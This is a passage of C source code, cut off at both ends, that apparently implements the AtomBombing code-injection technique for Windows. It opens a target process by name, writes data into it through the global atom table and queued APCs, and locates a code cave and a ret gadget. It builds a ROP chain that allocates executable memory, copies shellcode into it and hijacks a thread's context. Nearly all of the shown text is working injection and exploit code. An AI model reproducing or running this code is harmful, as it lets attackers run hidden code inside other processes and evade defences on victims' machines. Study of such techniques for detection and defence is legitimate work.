\n\t\t(ULONG_PTR)hRemoteHandle\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)\n{\n\tPKNORMAL_ROUTINE pfnSetThreadContext = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\teReturn = GetFunctionAddressFromDll(\n\t\tNTDLL, \n\t\tNTSETCONTEXTTHREAD, \n\t\t(PVOID *) &pfnSetThreadContext\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\t\n\n\teReturn = main_NtQueueApcThreadWrapper(\n\t\thThread, \n\t\tpfnSetThreadContext, \n\t\tGetCurrentThread(), \n\t\t(PVOID)ptContext, \n\t\t(PVOID)NULL\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_DoesStringContainNullTerminatorW(\n\tPVOID pvBuffer, \n\tDWORD dwBufferSize, \n\tPBOOL pbDoesStringContainUnicodeNullTerminator\n\t)\n{\n\tPWCHAR pwcPos = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\tpwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);\n\tif (0 == pwcPos)\n\t{\n\t\teReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tif ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1))\n\t{\n\t\t*pbDoesStringContainUnicodeNullTerminator = FALSE;\n\t}\n\telse\n\t{\n\t\t*pbDoesStringContainUnicodeNullTerminator = TRUE;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(\n\tHANDLE hThread, \n\tPVOID pvBaseAddress, \n\tPVOID pvBuffer, \n\tDWORD dwBufferSize\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tDWORD dwIndex = 0;\n\tHMODULE hKernel32 = NULL;\n\tPKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;\n\tBOOL bDoesStringContainUnicodeNullTerminator = FALSE;\n\n\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\n\teReturn = GetFunctionAddressFromDll(\n\t\tKERNEL32, \n\t\tGLOBALGETATOMNAMEW, \n\t\t(PVOID *) &pfnGlobalGetAtomNameW\n\t\t);\n\n\teReturn = main_DoesStringContainNullTerminatorW(\n\t\tpvBuffer, \n\t\tdwBufferSize, \n\t\t&bDoesStringContainUnicodeNullTerminator\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\tif (FALSE != bDoesStringContainUnicodeNullTerminator)\n\t{\n\t\teReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;\n\t\tgoto lblCleanup;\n\t}\n\n\tfor (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR))\n\t{\n\t\tATOM tAtom = 0;\n\t\tCHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };\n\t\tDWORD cbBlockSize = 0;\n\n\t\tif ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))\n\t\t{\n\t\t\tcbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);\n\t\t}\n\n\t\t(VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);\n\n\t\teReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\teReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(\n\t\t\thThread, \n\t\t\tpfnGlobalGetAtomNameW, \n\t\t\t(PVOID)tAtom, \n\t\t\t((PUCHAR)pvBaseAddress) + dwIndex, \n\t\t\t(PVOID)(cbBlockSize + sizeof(WCHAR))\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_IsProcessMemoryEqual(\n\tHANDLE hProcess,\n\tPVOID pvRemoteAddress,\n\tPVOID pvExpectedBuffer,\n\tDWORD cbExpectedBufferSize,\n\tPBOOL pbIsMemoryEqual\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPVOID pvTempBuffer = NULL;\n\tDWORD dwNumberOfBytesRead = 0;\n\tBOOL bErr = FALSE;\n\tBOOL bIsMemoryEqual = FALSE;\n\n\tpvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);\n\tif (NULL == pvTempBuffer)\n\t{\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tbErr = ReadProcessMemory(\n\t\thProcess,\n\t\tpvRemoteAddress,\n\t\tpvTempBuffer,\n\t\tcbExpectedBufferSize,\n\t\t&dwNumberOfBytesRead\n\t\t);\n\tif (FALSE == bErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;\n\t\tprintf(\"ReadProcessMemory error. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\tif (dwNumberOfBytesRead != cbExpectedBufferSize)\n\t{\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;\n\t\tgoto lblCleanup;\n\t}\n\n\tif (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))\n\t{\n\t\tbIsMemoryEqual = TRUE;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\t*pbIsMemoryEqual = bIsMemoryEqual;\n\nlblCleanup:\n\tif (NULL != pvTempBuffer)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\n\t\tpvTempBuffer = NULL;\n\t}\n\n\treturn eReturn;\n\n}\n\nESTATUS main_ApcWriteProcessMemoryNullTerminated(\n\tHANDLE hProcess, \n\tHANDLE hThread, \n\tPVOID pvBaseAddress, \n\tPVOID pvBuffer, \n\tDWORD dwBufferSize\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tBOOL bShouldStop = FALSE;\n\n\tdo\n\t{\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(\n\t\t\thThread, \n\t\t\tpvBaseAddress, \n\t\t\tpvBuffer, \n\t\t\tdwBufferSize\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tSleep(100);\n\n\t\teReturn = main_IsProcessMemoryEqual(\n\t\t\thProcess,\n\t\t\tpvBaseAddress,\n\t\t\tpvBuffer,\n\t\t\tdwBufferSize,\n\t\t\t&bShouldStop\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tif (FALSE == bShouldStop)\n\t\t{\n\t\t\tprintf(\"[*] Data chunk written incorrectly, retrying...\\n\\n\\n\");\n\t\t}\n\n\t} while (FALSE == bShouldStop);\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_ApcWriteProcessMemoryInternal(\n\tHANDLE hProcess, \n\tHANDLE hThread, \n\tPVOID pvBaseAddress, \n\tPVOID pvBuffer, \n\tDWORD dwBufferSize\n\t)\n{\n\tPWCHAR pwcPos = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPVOID pvTempBuffer = NULL;\n\tPVOID pvLocalBufferPointer = pvBuffer;\n\tPVOID pvRemoteBufferPointer = pvBaseAddress;\n\tDWORD dwBytesWritten = 0;\n\n\twhile (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)\n\t{\n\t\tDWORD cbTempBufferSize = 0;\n\t\t\t\t\n\t\tpwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(\n\t\t\t(LPWSTR)pvLocalBufferPointer, \n\t\t\t(dwBufferSize - dwBytesWritten) / sizeof(WCHAR)\n\t\t\t);\n\t\tif (0 == pwcPos)\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\t\tif (pvLocalBufferPointer == pwcPos)\n\t\t{\n\t\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);\n\t\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);\n\t\t\tdwBytesWritten += sizeof(UNICODE_NULL);\n\t\t\tcontinue;\n\t\t}\n\n\t\tcbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;\n\n\t\tpvTempBuffer = HeapAlloc(\n\t\t\tGetProcessHeap(), \n\t\t\tHEAP_ZERO_MEMORY, \n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\n\t\t\t);\n\t\tif (NULL == pvTempBuffer)\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tmemcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);\n\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminated(\n\t\t\thProcess, \n\t\t\thThread, \n\t\t\tpvRemoteBufferPointer, \n\t\t\tpvTempBuffer, \n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;\n\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;\n\t\tdwBytesWritten += cbTempBufferSize;\n\t\t\n\t\tif (NULL != pvTempBuffer)\n\t\t{\n\t\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\n\t\t\tpvTempBuffer = NULL;\n\n\t\t}\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\tif (NULL != pvTempBuffer)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\n\t\tpvTempBuffer = NULL;\n\t}\n\n\treturn eReturn;\n\n\n}\n\nESTATUS main_ApcWriteProcessMemory(\n\tHANDLE hProcess,\n\tHANDLE hThread,\n\tPVOID pvBaseAddress,\n\tPVOID pvBuffer,\n\tDWORD dwBufferSize\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tBOOL bShouldStop = FALSE;\n\n\tdo\n\t{\n\t\teReturn = main_ApcWriteProcessMemoryInternal(\n\t\t\thProcess,\n\t\t\thThread,\n\t\t\tpvBaseAddress,\n\t\t\tpvBuffer,\n\t\t\tdwBufferSize\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tSleep(100);\n\n\t\teReturn = main_IsProcessMemoryEqual(\n\t\t\thProcess, \n\t\t\tpvBaseAddress, \n\t\t\tpvBuffer, \n\t\t\tdwBufferSize, \n\t\t\t&bShouldStop\n\t\t\t);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tif (bShouldStop)\n\t\t{\n\t\t\tprintf(\"[*] New verification: Data chunk written successfully.\\n\\n\\n\");\n\t\t\tbreak;\n\t\t}\n\n\t\tprintf(\"[*] New Verification: Data written incorrectly, retrying...\\n\\n\\n\");\n\n\t} while (TRUE);\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_ApcSetThreadContext(\n\tHANDLE hProcess, \n\tHANDLE hThread, \n\tPCONTEXT ptContext, \n\tPVOID pvRemoteAddress\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\teReturn = main_ApcWriteProcessMemory(\n\t\thProcess,\n\t\thThread,\n\t\t(PVOID)((PUCHAR)pvRemoteAddress),\n\t\tptContext,\n\t\tFIELD_OFFSET(CONTEXT, ExtendedRegisters)\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n\n}\n\nESTATUS main_ApcCopyFunctionPointers(\n\tHANDLE hProcess, \n\tHANDLE hThread, \n\tPVOID pvRemoteAddress\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tFUNCTIONPOINTERS tFunctionPointers = { 0 };\n\n\teReturn = GetFunctionAddressFromDll(\n\t\tKERNEL32, \n\t\tLOADLIBRARYA, \n\t\t&tFunctionPointers.pfnLoadLibraryA\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = GetFunctionAddressFromDll(\n\t\tKERNEL32, \n\t\tGETPROCADDRESS, \n\t\t&tFunctionPointers.pfnGetProcAddress\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_ApcWriteProcessMemory(\n\t\thProcess, \n\t\thThread, \n\t\tpvRemoteAddress, \n\t\t&tFunctionPointers, \n\t\tsizeof(tFunctionPointers)\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n\n}\n\nESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)\n{\n\tDWORD dwProcessId = 0;\n\tHANDLE hSnapshot = NULL;\n\tPROCESSENTRY32 pe = { 0 };\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n\tif (NULL == hSnapshot)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;\n\t\tprintf(\"CreateToolhelp32Snapshot error. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\tpe.dwSize = sizeof(PROCESSENTRY32);\n\tif (FALSE == Process32First(hSnapshot, &pe))\n\t{\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;\n\t\tprintf(\"Process32First error. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\tdo\n\t{\n\t\tif (NULL != wcsstr(pe.szExeFile, pszProcessName))\n\t\t{\n\t\t\tdwProcessId = pe.th32ProcessID;\n\t\t\tbreak;\n\t\t}\n\t} while (Process32Next(hSnapshot, &pe));\n\n\tif (0 == dwProcessId)\n\t{\n\t\tprintf(\"[*] Process '%S' could not be found.\\n\\n\\n\", pszProcessName);\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;\n\t\tgoto lblCleanup;\n\t}\n\n\tprintf(\"[*] Found process '%S'. PID: %d (0x%X).\\n\\n\\n\", pszProcessName, dwProcessId, dwProcessId);\n\t*pdwProcessId = dwProcessId;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\n\t{\n\t\tCloseHandle(hSnapshot);\n\t\thSnapshot = NULL;\n\t}\n\treturn eReturn;\n\n}\n\nESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)\n{\n\tHANDLE hProcess = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tDWORD dwPid = 0;\n\n\teReturn = main_GetProcessIdByName(pszProcessName, &dwPid);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\thProcess = OpenProcess(\n\t\tPROCESS_ALL_ACCESS,\n\t\tFALSE,\n\t\tdwPid\n\t\t);\n\tif (NULL == hProcess)\n\t{\n\t\teReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;\n\t\tprintf(\"OpenProcess error. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\tprintf(\"[*] Opened process's handle: %d (0x%X).\\n\\n\\n\", hProcess, hProcess);\n\t*phProcess = hProcess;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_GetSectionHeader(\n\tHMODULE hModule, \n\tPSTR pszSectionName, \n\tPIMAGE_SECTION_HEADER *pptSectionHeader\n\t)\n{\n\tPIMAGE_DOS_HEADER ptDosHeader = NULL;\n\tPIMAGE_NT_HEADERS ptNtHeaders = NULL;\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tBOOL bFound = FALSE;\n\n\tptDosHeader = (PIMAGE_DOS_HEADER)hModule;\n\tif (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);\n\tif (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\tif (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);\n\n\tfor (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)\n\t{\n\t\tif (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))\n\t\t{\n\t\t\tbFound = TRUE;\n\t\t\tbreak;\n\t\t}\n\t\tptSectionHeader++;\n\t}\n\n\tif (FALSE == bFound)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\t*pptSectionHeader = ptSectionHeader;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)\n{\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\n\tPVOID pvCodeCave = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tHMODULE hNtDll = NULL;\n\n\thNtDll = GetModuleHandleA(\"kernelbase.dll\");\n\tif (NULL == hNtDll)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;\n\t}\n\n\teReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tpvCodeCave = (PVOID) (\n\t\t(DWORD) hNtDll + \n\t\tptSectionHeader->VirtualAddress + \n\t\tptSectionHeader->SizeOfRawData\n\t\t);\n\n\teReturn = ESTATUS_SUCCESS;\n\t*ppvCodeCave = pvCodeCave;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_FindRetGadget(PVOID *ppvRetGadget)\n{\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\n\tPVOID pvCodeCave = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tHMODULE hNtDll = NULL;\n\tPVOID pvRetGadget = NULL;\n\n\thNtDll = GetModuleHandleA(NTDLL);\n\tif (NULL == hNtDll)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;\n\t}\n\n\teReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tpvRetGadget = memchr(\n\t\thNtDll + ptSectionHeader->VirtualAddress, \n\t\tX86_RET, \n\t\tptSectionHeader->SizeOfRawData\n\t\t);\n\tif (NULL == pvRetGadget)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\t*ppvRetGadget = pvRetGadget;\n\nlblCleanup:\n\n\treturn eReturn;\n}\ntypedef struct _ROPCHAIN\n{\n\t// Return address of ntdll!ZwAllocateMemory\n\tPVOID pvMemcpy;\n\n\t// Params for ntdll!ZwAllocateMemory\n\tHANDLE ZwAllocateMemoryhProcess;\n\tPVOID ZwAllocateMemoryBaseAddress;\n\tULONG_PTR ZwAllocateMemoryZeroBits;\n\tPSIZE_T ZwAllocateMemoryRegionSize;\n\tULONG ZwAllocateMemoryAllocationType;\n\tULONG ZwAllocateMemoryProtect;\n\n\t// Return address of ntdll!memcpy\n\tPVOID pvRetGadget;\n\n\t// Params for ntdll!memcpy\t\n\tPVOID MemcpyDestination;\n\tPVOID MemcpySource;\n\tSIZE_T MemcpyLength;\n\n} ROPCHAIN, *PROPCHAIN;\n\nESTATUS main_BuildROPChain(\n\tPVOID pvROPLocation, \n\tPVOID pvShellcodeLocation, \n\tPROPCHAIN ptRopChain\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tROPCHAIN tRopChain = { 0 };\n\n\ttRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();\n\n\ttRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyDestination\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\ttRopChain.ZwAllocateMemoryZeroBits = NULL;\n\n\ttRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyLength)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\ttRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;\n\ttRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;\n\ttRopChain.MemcpyDestination = (PVOID)0x00;\n\ttRopChain.MemcpySource = pvShellcodeLocation;\n\ttRopChain.MemcpyLength = sizeof(SHELLCODE);\n\t\n\teReturn = GetFunctionAddressFromDll(\n\t\tNTDLL, \n\t\tMEMCPY, \n\t\t&tRopChain.pvMemcpy\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tprintf(\"ntdll!memcpy: 0x%X\", tRopChain.pvMemcpy);\n\n\t// Find a ret instruction in order to finally jump to the \n\t// newly allocated executable shellcode.\n\teReturn = main_FindRetGadget(&tRopChain.pvRetGadget);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\t*ptRopChain = tRopChain;\n\nlblCleanup:\n\n\treturn eReturn;\n\n}\n\nESTATUS main_EnumProcessThreadIds(\n\tHANDLE hProcess, \n\tPDWORD *ppdwThreadIds, \n\tPDWORD pcbThreadIdsSize, \n\tPDWORD pdwNumberOfProcessThreads\n\t)\n{\n\tHANDLE hSnapshot = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tTHREADENTRY32 tThreadEntry;\n\tBOOL bErr = FALSE;\n\tDWORD dwProcessId = 0;\n\tPDWORD pdwThreadIds = NULL;\n\tDWORD cbThreadIdsSize = 0;\n\tDWORD dwNumberOfMatchingThreads = 0;\n\n\tdwProcessId = GetProcessId(hProcess);\n\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\tif (INVALID_HANDLE_VALUE == hSnapshot)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\ttThreadEntry.dwSize = sizeof(THREADENTRY32);\n\tbErr = Thread32First(hSnapshot, &tThreadEntry);\n\tif (FALSE == bErr)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tdo\n\t{\n\t\tif (tThreadEntry.th32OwnerProcessID != dwProcessId)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\tcbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);\n\t\tif (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)\n\t\t{\n\n\t\t\tpdwThreadIds = (PDWORD) HeapAlloc(\n\t\t\t\tGetProcessHeap(), \n\t\t\t\tHEAP_ZERO_MEMORY, \n\t\t\t\tcbThreadIdsSize\n\t\t\t\t);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpdwThreadIds = (PDWORD) HeapReAlloc(\n\t\t\t\tGetProcessHeap(), \n\t\t\t\tHEAP_ZERO_MEMORY, \n\t\t\t\tpdwThreadIds, \n\t\t\t\tcbThreadIdsSize\n\t\t\t\t);\n\t\t}\n\t\tif (NULL == pdwThreadIds)\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tpdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;\n\n\t} while (bErr = Thread32Next(hSnapshot, &tThreadEntry));\n\n\t*ppdwThreadIds = pdwThreadIds;\n\t*pcbThreadIdsSize = cbThreadIdsSize;\n\t*pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\n\t{\n\t\tCloseHandle(hSnapshot);\n\t\thSnapshot = NULL;\n\t}\n\t\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tif (NULL != pdwThreadIds)\n\t\t{\n\t\t\tHeapFree(GetProcessHeap(), 0, pdwThreadIds);\n\t\t\tpdwThreadIds = NULL;\n\t\t}\n\t}\n\n\treturn eReturn;\n}\n\nVOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)\n{\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\n\t{\n\t\tif (NULL != phHandles[dwIndex])\n\t\t{\n\t\t\tCloseHandle(phHandles[dwIndex]);\n\t\t\tphHandles[dwIndex] = NULL;\n\t\t}\n\t}\n}\n\nVOID main_CloseRemoteHandleArray(\n\tHANDLE hProcess,\n\tPHANDLE phHandles,\n\tDWORD cbHandleCount\n\t)\n{\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\n\t{\n\t\tHANDLE hTemp = NULL;\n\n\t\tif (NULL != phHandles[dwIndex])\n\t\t{\n\t\t\tDuplicateHandle(\n\t\t\t\thProcess,\n\t\t\t\tphHandles[dwIndex],\n\t\t\t\tGetCurrentProcess(),\n\t\t\t\t&hTemp,\n\t\t\t\t0,\n\t\t\t\tFALSE,\n\t\t\t\tDUPLICATE_CLOSE_SOURCE\n\t\t\t\t);\n\t\t\tphHandles[dwIndex] = NULL;\n\t\t}\n\n\t\tif (NULL != hTemp)\n\t\t{\n\t\t\tCloseHandle(hTemp);\n\t\t\thTemp = NULL;\n\t\t}\n\t}\n}\n\nESTATUS main_EnumProcessThreads(\n\tHANDLE hProcess, \n\tPHANDLE *pphProcessThreadsHandles, \n\tPDWORD pcbProcessThreadsHandlesSize, \n\tPDWORD pdwNumberOfProcessThreads\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPDWORD pdwProcessThreadIds = NULL;\n\tDWORD cbProcessThreadIdsSize = 0;\n\tDWORD dwNumberOfProcessThreads = 0;\n\tPHANDLE phProcessThreadsHandles = NULL;\n\n\teReturn = main_EnumProcessThreadIds(\n\t\thProcess, \n\t\t&pdwProcessThreadIds, \n\t\t&cbProcessThreadIdsSize, \n\t\t&dwNumberOfProcessThreads\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tcbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);\n\tphProcessThreadsHandles = (PHANDLE) 